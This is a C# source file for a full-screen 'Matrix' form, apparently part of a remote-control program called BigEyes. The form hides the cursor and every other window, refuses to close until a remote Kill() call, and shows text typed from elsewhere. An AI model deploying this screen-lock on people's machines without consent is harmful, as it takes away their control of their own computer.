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using System;
using System.Drawing;
using System.Windows.Forms;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace BigEyes.Server
{
public class Matrix : Form, IDisposable
{
private StringBuilder _text;
private bool _canClose;
private Windows _windows;
[DllImport("user32.dll")]
private static extern int ShowCursor(int bShow);
public Matrix()
{
this.SetStyle(ControlStyles.UserPaint, true);
this.SetStyle(ControlStyles.AllPaintingInWmPaint, true);
this.SetStyle(ControlStyles.DoubleBuffer, true);
this.FormBorderStyle = FormBorderStyle.None;
this.StartPosition = FormStartPosition.Manual;
this.Location = new Point(0, 0);
this.Size = Screen.FromControl(this).Bounds.Size;
this.TopMost = true;
this.BackColor = Color.Black;
this.FormClosing += new FormClosingEventHandler(Matrix_FormClosing);
ShowCursor(0);
_text = new StringBuilder();
_canClose = false;
_windows = new Windows(false, true);
foreach (Window w in _windows)
{
if (w.hWnd != this.Handle)
{
w.Visible = false;
}
}
_windows.Reset();
}
~Matrix()
{
Kill();
}
private void Matrix_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = !_canClose;
}
public void Kill()
{
if (!_canClose)
{
_canClose = true;
foreach (Window w in _windows)
{
if (w.hWnd != this.Handle)
{
w.Visible = true;
}
}
ShowCursor(-1);
this.Invoke(new MethodInvoker(this.Close));
}
}
public void CharPress(char c)
{
if (c == '\b' && _text.Length > 0)
{
_text.Remove(_text.Length - 1, 1);
}
else if (c == '\r')
{
_text.Append('\n');
}
else
{
_text.Append(c);
}
this.Invalidate();
}
protected override void OnPaint(PaintEventArgs e)
{
base.OnPaint(e);
e.Graphics.DrawString(_text.ToString() + '\b', new Font(FontFamily.GenericMonospace, 10), Brushes.GreenYellow, new RectangleF(0, 0, this.Width, this.Height));
}
#region IDisposable Members
public void Dispose()
{
Kill();
}
#endregion
}
}
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